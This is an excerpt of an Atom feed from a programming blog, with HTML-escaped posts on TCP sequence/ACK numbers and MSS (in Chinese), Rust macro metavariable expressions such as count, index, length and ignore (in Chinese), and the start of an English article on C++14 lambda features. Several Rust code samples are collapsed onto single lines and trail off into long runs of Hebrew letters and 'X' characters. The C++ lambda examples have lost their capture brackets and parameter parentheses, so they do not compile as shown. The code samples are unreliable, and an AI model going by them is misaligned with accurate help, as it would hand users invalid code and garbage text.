&lt;p&gt;ACK 代表：&lt;strong&gt;已成功接受序列号到 ack-1 的数据，期望接收的下一个字节的序号为 ack&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;举例说明：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;我已经发送了前100字节的数据，那么我下一个发送的包（如果发送窗口还有空间）的SEQ就是101，比如要发送10字节的数据，那么下一个包中的数据的字节编号就是 101 - 110. 之后如果继续发送的话，序号就是从111开始。&lt;&#x2F;p&gt;
&lt;p&gt;如果接收端接到了这个10字节的包的话，便会返回一个 ACK 为 111 的包，表示前面110个字节已经成功接收。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;wei-shen-me-synhe-finhui-xiao-hao-yi-ge-xu-lie-hao&quot;&gt;为什么SYN和FIN会消耗一个序列号&lt;&#x2F;h2&gt;
&lt;p&gt;细心的同学可能会发现，为什么在建立连接的时候，发送的 SYN 包大小（payload）明明是0字节，但是接收端却返回 ACK = 1 ，还有断开连接的时候 FIN 包也被视为含有1字节的数据。&lt;&#x2F;p&gt;
&lt;p&gt;原因是 SYN 和 FIN 信号都是需要 acknowledgement 的，也就是你必须回复这个信号，如果它不占有一个字节的话，要如何判断你是回复这个信号还是回复这个信号之前的包呢？&lt;&#x2F;p&gt;
&lt;p&gt;例如：如果 FIN 信号不占用一个字节，回复 FIN 的 ack 包就可能被误认为是回复之前的数据包被重新发送了一次，第二次挥手无法完成，连接也就无法正常关闭了。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;wei-shen-me-synhe-ackde-chu-shi-zhi-isn-initialization-sequence-number-shi-yi-ge-sui-ji-zhi&quot;&gt;为什么SYN和ACK的初始值（ISN initialization sequence number）是一个随机值&lt;&#x2F;h2&gt;
&lt;p&gt;参考&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;coolshell.cn&#x2F;articles&#x2F;11564.html&quot;&gt;TCP 的那些事儿（上）&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;ISN是不能hard code的，不然会出问题的——比如：如果连接建好后始终用1来做ISN，如果client发了30个segment过去，但是网络断了，于是 client重连，又用了1做ISN，但是之前连接的那些包到了，于是就被当成了新连接的包，此时，client的Sequence Number 可能是3，而Server端认为client端的这个号是30了。全乱了。&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;tools.ietf.org&#x2F;html&#x2F;rfc793&quot;&gt;RFC793&lt;&#x2F;a&gt;中说，ISN会和一个假的时钟绑在一起，这个时钟会在每4微秒对ISN做加一操作，直到超过2^32，又从0开始。这样，一个ISN的周期大约是4.55个小时。因为，我们假设我们的TCP Segment在网络上的存活时间不会超过Maximum Segment Lifetime（缩写为MSL – &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Maximum_Segment_Lifetime&quot;&gt;Wikipedia语条&lt;&#x2F;a&gt;），所以，只要MSL的值小于4.55小时，那么，我们就不会重用到ISN。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;shen-me-shi-tcp-segment-of-a-reassembled-pdu&quot;&gt;什么是TCP segment of a reassembled PDU&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;tcp-sequence-number&#x2F;tcp-reassembled-pdu-wireshark.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;如图所示，在抓包的时候，经常会看到[TCP segment of a reassembled PDU ] 字样的包，这个代表数据在传输层被分包了。也就是代表包大小大于MTU，此处放一下MTU与MSS区别：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;MTU（Maximum Transmission Unit）最大传输单元，在TCP&#x2F;IP协议族中，指的是IP数据报能经过一个物理网络的最大报文长度，其中包括了IP首部(从20个字节到60个字节不等)，一般以太网的MTU设为1500字节，加上以太帧首部的长度14字节，也就是一个以太帧不会超过1500+14 = 1514字节。&lt;&#x2F;p&gt;
&lt;p&gt;MSS（Maximum Segment Size，最大报文段大小，指的是TCP报文（一种IP协议的上层协议）的最大数据报长度，其中不包括TCP首部长度。MSS由TCP链接的过程中由双方协商得出，其中SYN字段中的选项部分包括了这个信息。如果MSS+TCP首部+IP首部大于MTU，那么IP报文就会存在分片，如果小于，那么就可以不需要分片正常发送。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;因此，出现这种现象的原因就是你调用一次send的时候，send的数据比 MSS 还要打，因此就被协议栈进行了分包。&lt;&#x2F;p&gt;
&lt;p&gt;顺便说一下，IP数据包的分片是通过flag字段和offset字段共同完成的。&lt;&#x2F;p&gt;
&lt;p&gt;从图中可以看到，第6个和第5个包是同一个TCP报文被分成了两个包。如果我们点开看的话，可以看到两个报文的ACK序号都一样，并且这些报文的Sequence Number都不一样，并且后一个Sequence Number为前一个Sequence Number加上前一个报文大小再加上1 。这也是判断reassembled 的方式。&lt;&#x2F;p&gt;
&lt;p&gt;点开第6个包，可以看到它将5和6的数据整合起来了。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>The Little Book of Rust Macros （Rust 宏小册）</title>
        <published>2024-08-04T00:00:00+00:00</published>
        <updated>2024-08-04T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/the-little-book-of-rust-macros-rust-宏小册/"/>
        <id>https://vercel.juzhong.asia/obsidian/the-little-book-of-rust-macros-rust-宏小册/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/the-little-book-of-rust-macros-rust-宏小册/">&lt;h2 id=&quot;yuan-bian-liang-biao-da-shi&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zjp-cn.github.io&#x2F;tlborm&#x2F;decl-macros&#x2F;minutiae&#x2F;metavar-expr.html#%E5%85%83%E5%8F%98%E9%87%8F%E8%A1%A8%E8%BE%BE%E5%BC%8F&quot;&gt;元变量表达式&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;RFC&lt;&#x2F;em&gt;: &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;rust-lang&#x2F;rfcs&#x2F;blob&#x2F;master&#x2F;text&#x2F;3086-macro-metavar-expr.md&quot;&gt;rfcs#1584&lt;&#x2F;a&gt;
&lt;em&gt;Tracking Issue&lt;&#x2F;em&gt;: &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;rust-lang&#x2F;rust&#x2F;issues&#x2F;83527&quot;&gt;rust#83527&lt;&#x2F;a&gt;
&lt;em&gt;Feature&lt;&#x2F;em&gt;: &lt;code&gt;#![feature(macro_metavar_expr)]&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;注意：示例代码片段非常简单，只试图展示它们是如何工作的。
关于这些元变量表达式，如果你认为你有合适的、单独使用的小片段，请提交它们！&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;正如在 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zjp-cn.github.io&#x2F;tlborm&#x2F;decl-macros&#x2F;macros-methodical.html&quot;&gt;思路&lt;&#x2F;a&gt; 中提到的，Rust 有一些特殊的元变量表达式（以下简称表达式）：transcriber&lt;sup&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zjp-cn.github.io&#x2F;tlborm&#x2F;decl-macros&#x2F;minutiae&#x2F;metavar-expr.html#transcribe&quot;&gt;1&lt;&#x2F;a&gt;&lt;&#x2F;sup&gt;  可以使用这些表达式来获取有关元变量的信息。如果没有这些表达式，它们所提供的信息就很难甚至不可能获得。&lt;&#x2F;p&gt;
&lt;p&gt;本章将结合用例对它们进行更深入的介绍。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zjp-cn.github.io&#x2F;tlborm&#x2F;decl-macros&#x2F;minutiae&#x2F;metavar-expr.html#dollar-dollar-&quot;&gt;&lt;code&gt;\$\$&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zjp-cn.github.io&#x2F;tlborm&#x2F;decl-macros&#x2F;minutiae&#x2F;metavar-expr.html#countident-depth&quot;&gt;&lt;code&gt;\${count(ident, depth)}&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zjp-cn.github.io&#x2F;tlborm&#x2F;decl-macros&#x2F;minutiae&#x2F;metavar-expr.html#indexdepth&quot;&gt;&lt;code&gt;\${index(depth)}&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zjp-cn.github.io&#x2F;tlborm&#x2F;decl-macros&#x2F;minutiae&#x2F;metavar-expr.html#lengthdepth&quot;&gt;&lt;code&gt;\${length(depth)}&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zjp-cn.github.io&#x2F;tlborm&#x2F;decl-macros&#x2F;minutiae&#x2F;metavar-expr.html#ignoreident&quot;&gt;&lt;code&gt;\${ignore(ident)}&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;dollar-dollar&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zjp-cn.github.io&#x2F;tlborm&#x2F;decl-macros&#x2F;minutiae&#x2F;metavar-expr.html#dollar-dollar-&quot;&gt;Dollar Dollar (&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zjp-cn.github.io&#x2F;tlborm&#x2F;decl-macros&#x2F;minutiae&#x2F;metavar-expr.html#dollar-dollar-&quot;&gt;&lt;code&gt;\$\$&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zjp-cn.github.io&#x2F;tlborm&#x2F;decl-macros&#x2F;minutiae&#x2F;metavar-expr.html#dollar-dollar-&quot;&gt;)&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;$$&lt;&#x2F;code&gt; 表达式展开为单个 &lt;code&gt;$&lt;&#x2F;code&gt;，实际上使其成为转义的 &lt;code&gt;$&lt;&#x2F;code&gt;。这让声明宏宏生成新的声明宏。&lt;&#x2F;p&gt;
&lt;p&gt;因为以前的声明宏将无法转义 &lt;code&gt;$&lt;&#x2F;code&gt;，所以无法使用元变量、重复和元变量表达式。例如以下代码片段中不使用 &lt;code&gt;$$&lt;&#x2F;code&gt;，就无法使用 &lt;code&gt;bar!&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;macro_rules! foo {
    () =&amp;gt; {
        macro_rules! bar {
            ( $( $any:tt )* ) =&amp;gt; { $( $any )* };
            &amp;#x2F;&amp;#x2F; ^^^^^^^^^^^ error: attempted to repeat an expression containing no syntax variables matched as repeating at this depth
        }
    };
}

foo!();
fn main() {}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;问题很明显， &lt;code&gt;foo!&lt;&#x2F;code&gt; 的 transcriber 看到有反复捕获的意图，并试图反复捕获，但它的作用域中没有 &lt;code&gt;$any&lt;&#x2F;code&gt; 元变量，这导致它产生错误。有了 &lt;code&gt;$$&lt;&#x2F;code&gt;，我们就可以解决这个问题&lt;sup&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zjp-cn.github.io&#x2F;tlborm&#x2F;decl-macros&#x2F;minutiae&#x2F;metavar-expr.html#foo-bar&quot;&gt;2&lt;&#x2F;a&gt;&lt;&#x2F;sup&gt;，因为 &lt;code&gt;foo&lt;&#x2F;code&gt; 的 transcriber 不再尝试反复捕获。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;#![feature(macro_metavar_expr)]

macro_rules! foo {
    () =&amp;gt; {
        macro_rules! bar {
            ( $$( $$any:tt )* ) =&amp;gt; { $$( $$any )* };
        }
    };
}

foo!();
bar!();
fn main() {}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;count-ident-depth&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zjp-cn.github.io&#x2F;tlborm&#x2F;decl-macros&#x2F;minutiae&#x2F;metavar-expr.html#countident-depth&quot;&gt;&lt;code&gt;count(ident, depth)&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;count&lt;&#x2F;code&gt; 表达式展开成元变量 &lt;code&gt;$ident&lt;&#x2F;code&gt; 在给定反复深度的反复次数。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ident&lt;&#x2F;code&gt; 参数必须是规则作用域中声明的元变量&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;depth &lt;&#x2F;code&gt; 参数必须是值小于或等于元变量 &lt;code&gt;$ident&lt;&#x2F;code&gt; 出现的最大反复深度的整型字面值&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;count(ident, depth)&lt;&#x2F;code&gt; 展开成不带后缀的整型字面值标记&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;count(ident)&lt;&#x2F;code&gt; 是 &lt;code&gt;count(ident, 0)&lt;&#x2F;code&gt; 的简写&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;#![feature(macro_metavar_expr)]

macro_rules! foo {
    ( $( $outer:ident ( $( $inner:ident ),* ) ; )* ) =&amp;gt; {
        println!(&amp;quot;count(outer, 0): $outer repeats {} times&amp;quot;, ${count(outer)});
        println!(&amp;quot;count(inner, 0): The $inner repetition repeats {} times in the outer repetition&amp;quot;, ${count(inner, 0)});
        println!(&amp;quot;count(inner, 1): $inner repeats {} times in the inner repetitions&amp;quot;, ${count(inner, 1)});
    };
}

fn main() {
    foo! {
        outer () ;
        outer ( inner , inner ) ;
        outer () ;
        outer ( inner ) ;
    };
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;index-depth&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zjp-cn.github.io&#x2F;tlborm&#x2F;decl-macros&#x2F;minutiae&#x2F;metavar-expr.html#indexdepth&quot;&gt;&lt;code&gt;index(depth)&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;index(depth)&lt;&#x2F;code&gt; 表达式展开为给定反复深度下，当前的迭代索引。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;depth&lt;&#x2F;code&gt; 参数表明在第几层反复，这个数字从最内层反复调用表达式开始向外计算&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;index(depth)&lt;&#x2F;code&gt; 展开成不带后缀的整型字面值标记&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;index()&lt;&#x2F;code&gt; 是 &lt;code&gt;index(0)&lt;&#x2F;code&gt; 的简写&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre&gt;&lt;code&gt;#![feature(macro_metavar_expr)]macro_rules! attach_iteration_counts {    ( $( ( $( $inner:ident ),* ) ; )* ) =&amp;gt; {        ( $(            $((                stringify!($inner),                ${index(1)}, &amp;#x2F;&amp;#x2F; 这指的是外层反复                ${index()}  &amp;#x2F;&amp;#x2F; 这指的是内层反复，等价于 `index(0)`            ),)*        )* )    };}fn main() {    let v = attach_iteration_counts! {        ( hello ) ;        ( indices , of ) ;        () ;        ( these, repetitions ) ;    };    println!(&amp;quot;{v:?}&amp;quot;);}ההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;length-depth&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zjp-cn.github.io&#x2F;tlborm&#x2F;decl-macros&#x2F;minutiae&#x2F;metavar-expr.html#lengthdepth&quot;&gt;&lt;code&gt;length(depth)&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;length(depth)&lt;&#x2F;code&gt; 表达式展开为在给定反复深度的迭代次数。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;depth&lt;&#x2F;code&gt; 参数表示在第几层反复，这个数字从最内层反复调用表达式开始向外计算&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;length(depth)&lt;&#x2F;code&gt; 展开成不带后缀的整型字面值标记&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;length()&lt;&#x2F;code&gt; 是 &lt;code&gt;length(0)&lt;&#x2F;code&gt; 的简写&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre&gt;&lt;code&gt;#![feature(macro_metavar_expr)]macro_rules! lets_count {    ( $( $outer:ident ( $( $inner:ident ),* ) ; )* ) =&amp;gt; {        $(            $(                println!(                    &amp;quot;&amp;#x27;{}&amp;#x27; in inner iteration {}&amp;#x2F;{} with &amp;#x27;{}&amp;#x27; in outer iteration {}&amp;#x2F;{} &amp;quot;,                    stringify!($inner), ${index()}, ${length()},                    stringify!($outer), ${index(1)}, ${length(1)},                );            )*        )*    };}fn main() {    lets_count!(        many (small , things) ;        none () ;        exactly ( one ) ;    );}ההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;ignore-ident&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zjp-cn.github.io&#x2F;tlborm&#x2F;decl-macros&#x2F;minutiae&#x2F;metavar-expr.html#ignoreident&quot;&gt;&lt;code&gt;ignore(ident)&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;ignore(ident)&lt;&#x2F;code&gt; 表达式展开为空，这使得在无需实际展开元变量的时候，像元变量反复展开相同次数的某些内容。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ident&lt;&#x2F;code&gt; 参数必须是规则作用域中声明的元变量&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre&gt;&lt;code&gt;#![feature(macro_metavar_expr)]macro_rules! repetition_tuples {    ( $( ( $( $inner:ident ),* ) ; )* ) =&amp;gt; {        ($(            $(                (                    ${index()},                    ${index(1)}                    ${ignore(inner)} &amp;#x2F;&amp;#x2F; without this metavariable expression, compilation would fail                ),            )*        )*)    };}fn main() {    let tuple = repetition_tuples!(        ( one, two ) ;        () ;        ( one ) ;        ( one, two, three ) ;    );    println!(&amp;quot;{tuple:?}&amp;quot;);}ההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>The Evolutions of Lambdas in C++14, C++17 and C++20</title>
        <published>2024-08-02T00:00:00+00:00</published>
        <updated>2024-08-02T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/the-evolutions-of-lambdas-in-c-14-c-17-and-c-20/"/>
        <id>https://vercel.juzhong.asia/obsidian/the-evolutions-of-lambdas-in-c-14-c-17-and-c-20/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/the-evolutions-of-lambdas-in-c-14-c-17-and-c-20/">&lt;h1 id=&quot;the-evolutions-of-lambdas-in-c-14-c-17-and-c-20&quot;&gt;The Evolutions of Lambdas in C++14, C++17 and C++20&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;the-evolutions-of-lambdas-in-c-14-c-17-and-c-20-1&quot;&gt;The Evolutions of Lambdas in C++14, C++17 and C++20&lt;&#x2F;h2&gt;
&lt;p&gt;Published December 13, 2021&lt;&#x2F;p&gt;
&lt;p&gt;Lambdas are one of the most popular features of Modern C++. Since their introduction in C++11, they’ve become ubiquitous in C++ code.&lt;&#x2F;p&gt;
&lt;p&gt;But since their appearance in C++11, they have evolved and gained significant features. Some of those features help write more expressive code, and since using lambdas is so common now, it is worth it to spend time learning what we can do with them.&lt;&#x2F;p&gt;
&lt;p&gt;Our goal here is to cover the major evolutions of lambdas, but not all the little details. A comprehensive coverage of lambdas would be more suited for a book than an article. If you want to dig more, I recommend Bartek’s book &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;leanpub.com&#x2F;cpplambda&quot;&gt;C++ Lambda Story&lt;&#x2F;a&gt;, that will tell you everything.&lt;&#x2F;p&gt;
&lt;p&gt;The general evolution of lambdas is to give them the capabilities of function objects manually defined.&lt;&#x2F;p&gt;
&lt;p&gt;This articles assumes you know the basics of lambdas in C++11. Let’s take it from C++14.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;lambdas-in-c-14&quot;&gt;Lambdas in C++14&lt;&#x2F;h3&gt;
&lt;p&gt;In C++14, lambdas get 4 major enhancements:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;default parameters&lt;&#x2F;li&gt;
&lt;li&gt;template parameters&lt;&#x2F;li&gt;
&lt;li&gt;generalised capture&lt;&#x2F;li&gt;
&lt;li&gt;returning a lambda from a function&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;default-parameters&quot;&gt;Default parameters&lt;&#x2F;h4&gt;
&lt;p&gt;In C++14, lambdas can take default parameters, like any function:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;auto myLambda = int x, int y = 0{ std::cout &amp;lt;&amp;lt; x &amp;lt;&amp;lt; &amp;#x27;-&amp;#x27; &amp;lt;&amp;lt; y &amp;lt;&amp;lt; &amp;#x27;\n&amp;#x27;; };

std::cout &amp;lt;&amp;lt; myLambda(1, 2) &amp;lt;&amp;lt; &amp;#x27;\n&amp;#x27;;
std::cout &amp;lt;&amp;lt; myLambda(1) &amp;lt;&amp;lt; &amp;#x27;\n&amp;#x27;;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This code outputs this:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;1-2
1-0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;template-parameters&quot;&gt;Template parameters&lt;&#x2F;h4&gt;
&lt;p&gt;In C++11 we have to define the type of the parameters of lambdas:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;auto myLambda = int x{ std::cout &amp;lt;&amp;lt; x &amp;lt;&amp;lt; &amp;#x27;\n&amp;#x27;; };
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;In C++14 we can make them accept any type:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;auto myLambda = auto&amp;amp;&amp;amp; x{ std::cout &amp;lt;&amp;lt; x &amp;lt;&amp;lt; &amp;#x27;\n&amp;#x27;; };
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Even if you don’t need to handle several types, this can be useful to avoid repetition and make the code more compact and readable. For example this kind of lambda:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;auto myLambda = namespace1::namespace2::namespace3::ACertainTypeOfWidget const&amp;amp; widget { std::cout &amp;lt;&amp;lt; widget.value() &amp;lt;&amp;lt; &amp;#x27;\n&amp;#x27;; };
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;becomes that:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;auto myLambda = auto&amp;amp;&amp;amp; widget { std::cout &amp;lt;&amp;lt; widget.value() &amp;lt;&amp;lt; &amp;#x27;\n&amp;#x27;; };
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;generalised-capture&quot;&gt;Generalised capture&lt;&#x2F;h4&gt;
&lt;p&gt;In C++11, lambdas can only capture existing objects in their scope:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;int z = 42;
auto myLambda = [z](int x){ std::cout &amp;lt;&amp;lt; x &amp;lt;&amp;lt; &amp;#x27;-&amp;#x27; &amp;lt;&amp;lt; z + 2 &amp;lt;&amp;lt; &amp;#x27;\n&amp;#x27;; };
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;But with the powerful generalised lambda capture, we can initialise captured values with about anything. Here is a simple example:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;int z = 42;
auto myLambda = [y = z + 2](int x){ std::cout &amp;lt;&amp;lt; x &amp;lt;&amp;lt; &amp;#x27;-&amp;#x27; &amp;lt;&amp;lt; y &amp;lt;&amp;lt; &amp;#x27;\n&amp;#x27;; };

myLambda(1);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This code outputs this:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;1-44
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;returning-a-lambda-from-a-function&quot;&gt;Returning a lambda from a function&lt;&#x2F;h4&gt;
&lt;p&gt;Lambdas benefit from a language feature of C++14: returning &lt;code&gt;auto&lt;&#x2F;code&gt; from a function, without specifying the return type. Since the type of a lambda is generated by the compiler, in C++11 we could not return a lambda from a function:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;* what type should we write here ?? *&amp;#x2F; f()
{
    return int x{ return x * 2; };
}
